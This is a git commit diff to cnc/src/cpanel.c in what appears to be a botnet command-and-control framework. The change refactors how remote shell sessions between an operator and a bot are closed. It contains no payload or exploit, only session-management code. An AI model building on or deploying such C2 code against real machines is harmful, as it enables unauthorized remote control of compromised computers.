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Handled edgecase of shell peer disconnecting

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- minor refactor of shell client, added shellC_isShellOpen()
This commit is contained in:
CPunch
2022-03-03 10:28:43 -06:00
parent 72e0b6d5d0
commit e6dbada6ec
8 changed files with 66 additions and 39 deletions
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26
cnc/src/cpanel.c
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@@ -36,6 +36,24 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_endOutPacket(authPeer);
}
void laikaC_closeAuthShell(struct sLaika_authInfo *aInfo) {
/* forward to SHELL_CLOSE to auth */
laikaS_emptyOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
/* close shell */
((struct sLaika_botInfo*)(aInfo->shellBot->uData))->shellAuth = NULL;
aInfo->shellBot = NULL;
}
void laikaC_closeBotShell(struct sLaika_botInfo *bInfo) {
/* forward to SHELL_CLOSE to auth */
laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_AUTHENTICATED_SHELL_CLOSE);
/* close shell */
((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL;
bInfo->shellAuth = NULL;
}
/* ============================================[[ Packet Handlers ]]============================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
@@ -95,12 +113,8 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
if (aInfo->shellBot == NULL)
return;
/* forward to SHELL_CLOSE to auth */
laikaS_emptyOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
/* close shell */
((struct sLaika_botInfo*)(aInfo->shellBot->uData))->shellAuth = NULL;
aInfo->shellBot = NULL;
laikaC_closeAuthShell(aInfo);
}
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {